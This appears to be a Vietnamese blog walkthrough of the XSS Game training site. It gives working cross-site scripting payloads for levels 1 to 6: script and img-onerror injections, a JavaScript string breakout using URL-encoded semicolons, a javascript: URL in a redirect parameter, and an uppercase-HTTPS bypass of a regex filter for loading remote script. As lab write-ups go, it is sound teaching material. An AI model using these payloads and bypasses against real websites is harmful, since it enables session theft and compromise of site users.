Đầu tiên link tham gia các bạn tham gia tại https://xss-game.appspot.com
Level 1
level này khá dễ nên câu lệnh truy vấn rất đơn giản
<script>alert(1)</script>
Level 2
là phần bình luận một số loại truy vấn như ở level 1 sẽ không hoạt động chúng ta cần dùng các lệnh khác
ở đây mình dùng thẻ img với câu lệnh
<img src= a onerror="alert(1)"/>
Level 3
ở cấp độ này khá khó vì không có ô tìm kiếm hoặc bình luận không thể inject như phần 1 2 bây giờ chúng ta nhìn code của web
[...]
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
[...]
chúng ta có thể thấy một điều ở đây đó là thông số num trong thẻ img và chúng ta xử lý nó giống level 2 với câu lệnh onerror
https://xss-game.appspot.com/level3/frame#3' onerror='alert(1)';
Level 4
cái này khá khó không có bất cứ cái câu lệnh nào có thể chạy được cả chúng ta cùng chú ý tới link https://xss-game.appspot.com/level4/frame?timer='
chúng ta thu được đầu ra của nó
SyntaxError: unterminated string literal
startTimer(''');
vậy có thể chèn được cái gì đó vào đây rồi thử nghiệm với ký tự '):
- https://xss-game.appspot.com/level4/frame?timer=');
SyntaxError: unterminated string literal
startTimer('')');
- https://xss-game.appspot.com/level4/frame?timer=');
SyntaxError: unterminated string literal
startTimer('')');
tuy nhiên chúng ta có vấn đề là dấy ; đã bị encode chúng ta phải bypass nó chút! sử dụng URL encoding mã hóa ; thành %3B
https://xss-game.appspot.com/level4/frame?timer=')%3B
SyntaxError: unterminated string literal
startTimer('');');
vật là chúng ta đã có thể chèn được ký tự dấu chấm phẩy vào code chúng ta dùng câu lệnh ')%3Balert(1)%3Bvar b=(' để bypass
- https://xss-game.appspot.com/level4/frame?timer=')%3Balert(1)%3Bvar b=('
kết quả trả về
startTimer('');alert(1);var b=('');
vậy là qua rồi :)
Level 5
Điều này là khá dễ dàng. Trên trang đầu tiên bạn có thể thấy một liên kết: https://xss-game.appspot.com/level5/frame/signup?next=confirm. Bây giờ chúng ta hãy xem nextparameter được dùng như thế nào trong confirm.html:
[...]
<script>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
[...]
Các window.location được thiết lập dựa trên các thông số tiếp theo. Đây là một trường hợp điển hình cho XSS DOM dựa. Bên cạnh đó chúng ta có trong file signup.html:
[...]
<br><br>
<a href="{{ next }}">Next >></a>
</body>
[...]
để qua được nó thì rất dễ
- click
https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)
- điền mail
- Click
Next >>
- và ok thành công
Level 6
ở level này chúng ta cần có 1 đoạn js ở server khác để load vào bên trong và chúng ta sẽ dùng pastebin
Như bạn có thể đọc một thẻ script mới được tạo ra và các thuộc tính src được thiết lập một cách thích hợp. Trở ngại duy nhất về nó: Bạn không được phép có một URL có chứa https
[...]
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
[...]
Sau đó các văn bản sau khi băm được sử dụng như các script src:
// Load this awesome gadget
scriptEl.src = url;
- Bạn có nhận thấy điều gì đó về regex? Không? Đó không phải là trường hợp nhạy cảm. Bạn có thể thoát khỏi nó bằng cách sử dụng HTTPS hoặc bất kỳ sự kết hợp khác.
0 Comments:
Đăng nhận xét